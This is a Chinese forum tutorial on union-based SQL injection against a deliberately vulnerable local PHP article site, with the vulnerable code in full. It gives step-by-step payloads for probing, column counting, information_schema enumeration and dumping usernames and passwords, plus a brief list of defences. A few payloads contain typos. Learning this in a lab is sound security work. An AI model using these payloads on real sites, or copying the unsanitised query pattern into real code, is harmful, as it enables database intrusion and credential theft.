SQL-查询毛病

南飓风  论坛元老 | 2025-3-26 13:36:56 | 显示全部楼层 | 阅读模式
打印 上一主题 下一主题
楼主

主题 1774|帖子 1774|积分 5322

一、查询注入的数据范例

  1. //list.php
  3. <!DOCTYPE html>
  4. <html lang="en">
  5. <head>
  6.     <meta charset="UTF-8">
  7.     <meta http-equiv="X-UA-Compatiable" content="IE=edge">
  8.     <meta name="viewport" content="width=device-width,initial-sacle=1.0">
  9.     <title>文章列表</title>
  10.     <style>
  11.         table{
  12.             width : 800px;
  13.             margin : auto;
  14.             border : solid 1px gray;
  15.             border-spacing: 0px;
  16.         }
  17.         td{
  18.             border : solid 1px gray;
  19.             height : 40px;
  20.         }
  21.     </style>
  22.     <script>
  23.         function doDelete(articleid){
  24.             if(!window.confirm("你确定要删除该文章吗？")){
  25.                 return false;
  26.             }
  27.             //window.alert(articleid);
  28.             $.post('delete.php','articleid='+articleid,function(data){
  29.                 if(data == 'delete-ok'){
  30.                     window.alert('删除成功');
  31.                     //location.href = "list.php";
  32.                     location.reload();  //刷新当前页面
  33.                 }
  34.                 else{
  35.                     window.alert('删除失败' + data);
  36.                 }
  37.             });
  38.         }
  39.     </script>
  40. </head>
  41. <body>
  42.     <table>
  43.         <tr>
  44.             <td>编号</td>
  45.             <td>作者</td>
  46.             <td>标题</td>
  47.             <td>次数</td>
  48.             <td>时间</td>
  49.             <td>操作</td>
  50.         </tr>
  51. <?php
  53. include "commond.php";
  55. if(!isset($_SESSION['islogin']) || $_SESSION['islogin'] != 'true'){
  56.     die("请先登录.<a href='login.html'>点此登录</a>");
  57. }
  59. $conn = creat_connection();
  61. $sql = "select articleid,author,headline,viewcount,creattime from learn3";
  62. $result = mysqli_query($conn,$sql);
  64. //将数据库查询的结果集中的数据取出，保存到一个数组中
  65. $rows = mysqli_fetch_all($result);
  67. //遍历结果集数据并在表格中展示
  69. foreach($rows as $row){
  70.     echo '<tr>';
  71.     echo '<td>' . $row[0] . '</td>';
  72.     echo '<td>' . $row[1] . '</td>';
  73.     echo '<td><a href="read.php?id=' . $row[0] . '">' . $row[2] . '</a></td>';
  74.     echo '<td>' . $row[3] . '</td>';
  75.     echo '<td>' . $row[4] . '</td>';
  76.     //echo '<td><button onclick="doDelete('.$row[0].')">删除</button></td>';
  77.     echo '<td><button onclick="doDelete('.$row[0].')">删除</button><button>编辑</button></td>';
  78.     echo '</tr>';
  79. }
  81.     mysqli_close($conn);
  82.     ?>
  83.    
  84.     </table>
  85. </body>
  86. </html>
复制代码
  1. //read.php
  3. <!DOCTYPE html>
  4. <html lang="en">
  5. <head>
  6.     <meta charset="UTF-8">
  7.     <meta http-equiv="X-UA-Compatiable" content="IE=edge">
  8.     <meta name="viewport" content="width=device-width,initial-sacle=1.0">
  9.     <title>Document</title>
  10.     <style>
  11.         div{
  12.             width:800px;
  13.             margin:auto;
  14.             height:60px;
  15.         }
  16.     </style>
  17. </head>
  18. <body>
  19.     <?php
  20.     include "commond.php";
  21.     if(!isset($_SESSION['islogin']) || $_SESSION['islogin'] != 'true'){
  22.         die("请先登录.<a href='login.html'>点此登录</a>");
  23.     }
  25.     $conn = creat_connection();
  27.    
  28.     $id = $_GET['id'];
  29.     $sql = "select * from learn3 where articleid=$id";
  30.     $result = mysqli_query($conn,$sql);
  31.    
  32.     $article = mysqli_fetch_assoc($result);  //读取结果集中的第一行数据，并用关联数组表示
  33.     ?>
  35.     <div><?=$article['headline']?></div>
  36.     <div><hr></div>
  37.     <div><?=$article['content']?></div>
  38. </body>
  39. </html>
复制代码
注入点根据可控参数的数据范例不同，可分为3类，分别是:
1、数字型

  1. select * from tables where id = 1;
复制代码
2、字符型

  1. select * from tables where username = 'woniu';
复制代码
3、搜索型

  1. select * from tables where id like '%woniu%';
复制代码
4、注释方式

数据范例不同，在注入的payload中会有大小不同，主要就是考察队字符语法规则的理解和注释的运用
  1. #(%23),--(空格--+),/* */
复制代码
二、注入步调

1、通过and 1=1,and 1=2的输入，来判断是否存在注入点。如果结果不同等，说明我们输入的语句被数据库执行了
2、通过观察或报错信息来判定输入点的数据范例，数字型，字符型，搜索型
3、使用order by来确定主查询数目，order by本质上是一个排序的语法，但是order by有个条件，就是排序必须建立在精确的主查询条数上。以是在注入中用order by并不是为了排序，而是为了确认主查询的条数，确保union select的查询数与主查询同等。order by只会超出主查询列数后才会报错，小于或等于主查询列数不会报错
  1. http://localhost/security/read.php?id=1 order by 6
  2. http://localhost/security/read.php?id=-1 union select 1,2,3,4,5,6
复制代码

4、使用union select查询，将主查询改为负数大概不存在
  1. union联合查询的前提：列数相等
  3. select * from tables where id = -1 union select 1,2,3,4,5,6...
  5. 如果不知道列数的情况下，可以通过猜测的方式来使用 select * from 表名，通常
  6. 表名起的是有意义的，所以猜测正确的概率是有的。如果表名猜测错误，是会出现错误信息
  7. 或者查询不出结果。那么只要能查询出结果，则说明表名是正确的，且*的列数也是正确的
  9. 在能够回显的基础上，则可以做任意MySQL支持的查询，包括各种SQL语句和内置变量或函数的应用
复制代码
5、在表现的数字位置上，替换对应的查询语句，database(),version(),user()
  1. http://localhost/security/read.php?id=-1 union select 1,2,3,4,5,6 from learn3
  3. 将articleid改为-1的话，3和4就代表了headline和content
  5. #还可以直接查询数据表的内容，进而实现拖库（脱裤）以下查询的前提是需要知道表名和列名
  6. http://localhost/security/read.php?id=-1 union select 1,2,3,(select password from learn2 limit 0,1),5,6
  7. limit 0,1的意思是从第0个开始往后取一个
  9. 通过concat()进行字符串拼接，可以一次性直接获取一行数据，而不用分列获取
  10. http://localhost/security/read.php?id=-1 union select 1,2,3,(select concat(userid,'==',username,'==',password) from learn2 limit 1,1),5,6
复制代码


  1. http://localhost/security/read.php?id=-1 union select 1,2,user(),database(),5,6 from learn3
复制代码

6、使用information_schema举行全部内容查询，得知库名后首先查询表:
  1. select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA = "库名"
复制代码
7、根据库名和表名查出全部的列名
  1. select group_concat(column_name) from information_schema.columns where table_schema = "库名" and table_name = "表名"
  3. http://localhost/security/read.php?id=-1%20union%20select%201,2,3,(select%20table_name%20from%20information_schema.tables%20where%20table_schema=%27learn%27%20limit%201,1),5,6
  4. http://localhost/security/read.php?id=-1%20union%20select%201,2,3,(select%20group_concat(columns_name)%20from%20information_schema.columns%20where%20table_schema=%27learn%27%20limit%201,1),5,6
复制代码
8、知道表名和列名，可以直接查出表的内容
  1. select group_comcat(列名) from "表名";
复制代码
9、使用concat连接列值，可以一次性取出很多列
  1. select concat(username,"==",password,"==",role) as userinfo from user
复制代码
10、如果查出多列，只能表现一列，则可以使用limit
  1. select * from user limit 0,1 或 limit 8,1 等
  2. 或
  3. select 1,2,table_name,4,5,6 from information_schema,tables where table_schema='learn' limit 1,1
复制代码
三、进阶用法

1、使用concat_ws指定分隔符，比concat更加方便
  1. select concat_ws('==',username,password,role) as userinfo from user
复制代码
2、使用group_concat和concat_ws连用
  1. select * from article where articleid=-1 union select 1,2,
  2. (select group_concat(table_name) from information_schema.tables where table_schema='learn'),
  3. (select group_concat(concat_ws('==',username,password,role)) from user),5,6
  5. /security/read.php?id=-1 union select 1,2,3(select group_concat(concat_ws('==',User,Password,Host)) from mysql.user),5,6
  7. /security/read.php?id=-1 union select 1,2,3,(select group_concat(concat_ws('==',articleid,headline,viewcount)) from learn3),5,6
  9. 一次性完整取得数据库中的数据，再利用Python进行字符串切分，即可还原为二维表。
  11. #如果数据量庞大，则可以分批次进行
  12. /security/read.php?id=-1 union select 1,2,3,(select group_concat(concat_ws('==',articleid,headline,viewcount)) from learn3 where articleid between 5 and 10),5,6
复制代码


3、使用十六进制代替单引号
  1. 在MySQL中将字符串转换为16进制:select hex('learn'),将十六进制转回字符串:unhex('6C6561726E')
  2. where table_schema=0x6C6561726E and table_name=0x75736572 limit 0,1
  4. /security/read.php?id=-1 union select 1,2,3,(select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA = '0x6C6561726E'),5,6
复制代码
4、浏览全部数据库
  1. /security/read/php?id=-1 union select 1,2,3(select group_concat(distinct(table_schema)) from
  2. information_schema.tables),5,6
  4. information_schema,learn.mysql,performance_schema,phpadmin,xindai,zabbix 发现存在phpadmin数据库
  6. 尝试访问:/phpadmin,如果使用的认证方式有:config,则直接进入后台，如果使用认证方式为:http,则可以爆破，所以最好的方式是不要开启PHPMyAdmin，或者
  7. 在需要的时候开启远程访问
复制代码

5、针对非数字型的查询毛病
  1. /security/read.php?id=-2' union select 1,2,3,(select group_concat(username) from user),5,6 %23'
  2. /security/read.php?id=-2' union select 1,2,3,(select group_concat(username) from user),5,6 --+'
  4. select * from learn3 where content like '%页面%';
  5. select * from learn3 where content like '%页面%'-- '%';
  6. select * from learn3 where content like '%页面%'#'%';
复制代码
上述查询主要针对MySQL数据库，如果针对Oracle数据库，需要学习Oracle的语法，如果是SQLServer等其他数据库，也一样。
上述注入均是GET请求，针对POST请求是完全一样的用法，只是将Payload移到Post请求的正文当中即可。
首先访问localhost/security/read.php?id=1,出现如果所示的响应:

但凡出现上述URL地址的格式，大概率会有SQL注入毛病，修改?id的值
然后尝试?id=1 and 1=1 和?id=1 and 1=2
id = 1 and 1=2 无法查询到内容，?id = 1 and 1=1 可以查询到内容
说明在这个地方有注入

四、Union查询注入不适用的地方

1、注入语句无法截断，且不清晰完整的SQL查询语句
2、页面不能返回查询信息的时候
3、Web页面中有两个SQL查询语句，查询语句的列数不同

五、防护方法

1、添加addslashes
2、将id类数字型参数转换为整数
3、判断参数的长度，通常一个ID不会太长
4、对输入举行过滤，如information_schema,union,order by,逗号等等











免责声明：如果侵犯了您的权益，请联系站长，我们会及时删除侵权内容，谢谢合作！更多信息从访问主页：qidao123.com:ToB企服之家，中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看，没有账号？立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览
返回列表

快速回复

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

南飓风

论坛元老
这个人很懒什么都没写!

楼主热帖

标签云

AI 运维 CIO 存储 服务器
微信订阅号
微信服务号
微信客服
小程序
H5
关于我们 商务合作 网站地图
©Copyright 2022-2024 杭州祥升科技有限公司 版权所有 浙ICP备20004199号
快速回复 返回顶部 返回列表